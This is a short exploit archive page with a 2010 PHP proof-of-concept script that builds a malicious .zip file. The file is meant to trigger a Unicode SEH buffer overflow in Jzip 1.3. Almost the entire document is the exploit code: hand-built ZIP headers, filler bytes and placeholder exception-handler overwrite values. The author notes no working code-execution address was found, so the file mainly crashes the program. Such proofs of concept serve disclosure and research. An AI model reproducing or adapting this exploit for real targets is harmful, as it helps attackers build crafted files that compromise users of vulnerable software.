exploit the possibilities

Jzip 1.3 Unicode Buffer Overflow

Jzip 1.3 Unicode Buffer Overflow
Posted Apr 6, 2010
Authored by mr_me

Jzip version 1.3 unicode buffer overflow proof of concept exploit that creates a malicious .zip file.

tags | exploit, overflow, proof of concept
MD5 | 983a63b32c4f9a7aa8e7c4cc8cc4b335

Jzip 1.3 Unicode Buffer Overflow

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<?php
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC
Date: 6/4/2010
Author: mr_me (http://net-ninja.net/)
Software Link: http://www.jzip.com/
Version: 1.3
Tested on: Windows XP SP3 En
Advisory: http://www.corelan.be:8800/advisories.php?id=10-021
Greetz to: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Note:
jzip.exe and all associated modules are compiled with safeseh and combine that
with the unicode limitation proves very difficult for exploitation. We did not
find a working unicode address, otherwise this vulnerability would have been
alot more fun! The seven moons were not aligned as Ben puts it :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may cause.
*/

$lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00";

$cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

$efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00";

$___offset = 4064;
$___nseh = str_repeat("\x43",2);
$___seh = str_repeat("\x44",2);

$___exploit = str_repeat("\x41",810).
$___nseh.
$___seh;
$___exploit .=
str_repeat("\x41",$___offset-strlen($___exploit)).
"\x2e\x74\x78\x74";

$_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;
file_put_contents("cst-jzip.zip",$_____b00m);
?>
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